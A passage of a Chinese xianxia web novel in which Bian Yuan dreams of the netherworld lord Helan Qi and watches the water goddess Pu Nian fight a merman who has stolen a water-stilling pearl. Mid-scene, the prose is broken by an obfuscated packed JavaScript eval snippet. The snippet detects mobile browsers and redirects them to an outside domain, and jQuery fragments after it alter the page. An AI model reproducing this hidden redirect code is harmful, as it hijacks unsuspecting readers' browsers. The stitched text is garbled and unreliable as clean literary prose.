“你不说我可说了,以后我不仅接你回来,我还会跟你一起去,等明年的争鸣试炼结束,你就不是一个人了。”
郗昱冰怔住,随后无声的一笑,停住脚步等了等卞缘。
子夜,窗外寂静,只剩风声和长廊上的夜灯炸开火花的细小声响。
睡梦之中的卞缘猝然皱眉,脑袋不受控的摆动一下。
“卞缘,知不知道蒲念去哪了?”
“还能去哪了,下凡去找那个小白脸了。”
梦中的那个她看不清脸,只是随手摘了颗果子喂进嘴里,不在意地说道。
卞缘觉得自己清醒的不得了,她试着晃头,想要醒过来,可就是挣脱不开梦境的束缚,最后只能被迫看着眼前的画面。
“我倒是要看看能梦到什么奇怪的东西。”卞缘心一横,也不挣扎了,定睛看着她的梦境。
“你怎么不拦着她?又让她去找那个凡人了!”那人一身黑色劲装,急切的走到卞缘的桌前。
这下她终于看清了那人的容貌,墨发高高束起,看起来极为年轻,生着一双瑞凤眼,眼尾略上挑,鼻梁秀挺,眉头边生了一颗黑痣,俊俏非常,只是莫名带着几分阴森气。
“我拦着她?我是谁啊我拦着她?贺兰祈,你自己怎么不去?”梦境中的卞缘向后一靠,显然是撒手不管。
听到这里,卞缘猛的正经起来,贺兰祈,她又仔细看看他的容貌,清晰的如同真人在她面前一般。
她从没见过贺兰祈,却在梦境中真真切切的看到了,她疑惑的歪歪头。
还不等她辨明真假,贺兰祈就气急败坏道:“我为什么要拦着她?我和她有什么关系?”
卞缘仿佛看透一切,悠悠道:“你也知道他是个凡人,不过几日他就会身死入冥府,你堂堂冥君,将他的魂魄抹去不就好了。”
说着她还将碗里的果子推向贺兰祈那边,示意他尝两个。
贺兰祈坐在她一旁的椅子上,拣了碗里最大的一个果子丢进嘴里,“论鬼点子,还得是你。”
可他转念又一想,忐忑道:“你说我要是一笔将他的魂魄抹了,蒲念会不会一直记恨我?”
“哦,也是。”卞缘捏着果子,认同的点点头,说完就没了下文。
贺兰祈这边又急上了,“你别也是啊,你再多想想办法,既让这个凡人魂飞魄散,又让蒲念不会对我心存芥蒂。”
卞缘上下打量他,明知故问道:“你不是说你和蒲念没什么关系,她记不记恨你有什么重要的?”
贺兰祈一瞬像是被踩了尾巴似的,慌乱的连手里的果子都掉了。
反观卞缘一派气定神闲,眼里还藏着不易察觉的玩味。
“冥界位于深水之下,有些事情还须得我们一同商量,大家都是同僚,做人留一线嘛。”贺兰祈尬笑着,手忙脚乱地解释了一大串,还差点将卞缘的果子打翻在地。
卞缘没去管那碗果子,而是继续揪着他不放,“那你就放那个凡人再入轮回,和蒲念再续前缘便好了,公事公办,蒲念绝不会说你什么的。”
“这怎么行!”贺兰祈听了,白皙的脸庞都气的通红,就差站起来反对了。
看着卞缘试探性的目光,他又按下那股子怒火,自顾自的掩饰道:“她堂堂水神,怎么能被一个凡人迷得神魂颠倒,传出去我们神界的面子往哪放?”
几次下来,卞缘也觉得没意思了,直白道:“你要是在意蒲念,就去趁着她和那个凡人还未定终身之前与她说明白,看看还有没有挽回的余地。”
“在我这里旁敲侧击有什么用?”卞缘看他这股窝囊劲儿,心里止不住的翻白眼。
“谁,谁在意她了,她爱和谁定终身就定吧,我冥界事多,先走了,你不劝她,她迟早酿成大祸。”贺兰祈的心思被戳穿,慌不择路的起身就要走人。
“谈情说爱而已,哪那么严重。”卞缘不以为意的在碗里挑挑拣拣,最后碗底只剩一些很小的果实,她无语的推开。
毫不留情的吐槽道:“这个贺兰祈,话多就算了,还光挑好的吃。”
卞缘眨眼,再睁眼时已立于滔天巨浪之中,脚下浪水翻滚,她眼前一晃。
只见蒲念同她面对面站着,一双蓝到透绿的眸子肃然瞧着她。
“蒲念……”卞缘下意识的唤了她一声,等她唤出口后她才察觉到不对。
蒲念一垂手,层层盘在她手腕上的长串湖蓝念珠坠落而下,一瞬间化水,复又汇聚成长鞭。
一抬手,长鞭席卷而来,先一步到的是充满潮湿的水汽,卞缘瞳孔放大,闪身躲开,岂料那长鞭只是穿她而过。
只听身后传来一声痛呼,卞缘回头看去,一个鲛人被长鞭拍入涛涛浪潮之中,击起几丈高的水花,骤然炸起如水墙。
好险,她只是做梦,这一鞭若是实打实落在她身上,可够她喝一壶的,从那鲛人摔入水中的力道来看,就知道蒲念这一鞭的力道有多强了。
“区区鲛妖,也妄图弑神?”她吐字轻缓,每一个字却又像烙铁般沉重落于心上,威严而又庄重,传遍四海之滨。
浪潮中身影蹿出水面,那鲛人竟然还活着,他在水中如鬼魅般极速游走,脸上五彩的鳞片让他看起来极为狠厉。
“弑神而已,有何不可?”潮湿阴冷的声音从他的咽喉中发出,卞缘微不可查的皱了皱眉。
不是说鲛人声如天籁,可蛊惑人的心魄吗?怎么她听着莫名觉得阴暗。
蒲念纯净的双眼中也闪过一丝不耐,她甚至懒得与这鲛人再纠缠,抬手于虚空之中握住。
那双纤细莹白的手于浩瀚的海面来说太过渺小,可就在她合手的一瞬间,滔天巨浪而起。
如同大殿大柱一般的水柱从海底迸发而出,几支水柱龙卷而上,死死挟制住那只鲛人,任凭他如何挣扎,也无法逃离。
他被送到蒲念面前,蒲念一言不发,额间的印记随海水的波涛而闪动。
她手指一展,水柱螺旋扭紧,死死的绞住那个鲛人。
鲛人的面色肉眼可见的突变,水柱越绞越紧,他的脸变为深紫色,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584798|171683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脸颊两侧的鳞片也炸起,看起来极为惊悚。
眼看着他将要断气,眼瞳都有些发白的迹象,可他手掌一动,只听到一声清脆的破碎之声。
下一瞬,水柱从他身上减退,气浪滚滚而过,翻腾的海水不再躁动,竟如平湖一般沉静下来,蒲念手中的长鞭也在顷刻间散落,凝成念珠,一颗颗掉落。
砸在水面上,发出碎瓷一般的声音。
怎么可能?卞缘看着这一幕,海水像是被隔绝了一般,念珠落在海面上,竟然不落,就像是有阵壁阻隔。
蒲念面上出现一抹困惑之色,随后眼神转向鲛人,质问道:“息水珠,你从何而来?”
鲛人得意极了,笑声刺耳,“后土神君整日昏昏欲睡,偷个息水珠还不容易?”
他如水蛇般滑至蒲念的身边,在她耳边阴恻恻地嘲道:“上水神君,不知道没了这四海五湖的助力,您可还能敌得过我?”
他气若游丝道:“今日,您可就要向我献上神格了。”
潮湿带着腥味的气味让蒲念恶心至极,可没了水,她就没了武器,如同龙至浅水,束手无策。
息水珠一直被她保管的隐蔽,因为后土治水需要,她就借了出去,却没想到这一借竟让这鲛妖有了可乘之机。
现在的蒲念无比想冲进二十四诸天,将后土揪出来暴揍一顿,并且以后再也不借她任何东西。
鲛妖在一旁虎视眈眈,现如今她也只有一个办法,那就是搬救兵。冥府位于深水之下,贺兰祈无疑成了最佳人选。
卞缘见蒲念被鲛人胁迫,心里涌起一股怒气,可这是梦境,她知道她做出的任何动作都是徒劳而已。
“贺兰祈!”她唤道,纯净透亮的声音直透海底。
贺兰祈!卞缘抬眼,这到底是一个怎样怪异的梦境,蒲念和贺兰祈竟然都能扯到一块,贺兰祈没有将她置于死地都是好的,怎么还会来救她呢?
鲛妖戒备的转头,向着四周看去,一个蒲念都要了他大半条命,真让她叫来个救兵,那他也算是完了。
可海面风平浪静,在息水珠的压制下静如平湖,周围连风都没有,蒲念神色沉了沉。
“还想让人来救你?”鲛人伸出尖锐的爪子,抵在蒲念脆弱的咽喉处,声音发狠:“既然您不老实,就别怪我下手太重了。”
鲛妖从身后环着她,冰凉湿滑的触感从脖颈处传来,蒲念偏了偏脖子,破罐破摔的又喊了一声:“贺兰祈!”
话音刚落,海底巨浪盘旋成漩涡,深海变为纯黑,两处海底深崖断开,轰然巨响如同山崩,两盏红灯笼悠悠出现,一黑一白两道身影,长立府门之处,幽幽黑眸注视着人世间。
阴森至极间又不乏奢华,雕梁画栋,层台累榭,在水中倒映而出,连卞缘这个见惯了琼楼玉宇的世家子弟都觉得惊讶。
高堂神庙,海底冥府。
“上水神君有事相求,我定然是要来的。”慵懒的少年音从漆黑厚重的府门中传出。
一道身影缓缓从暗无天日的长阶中走出。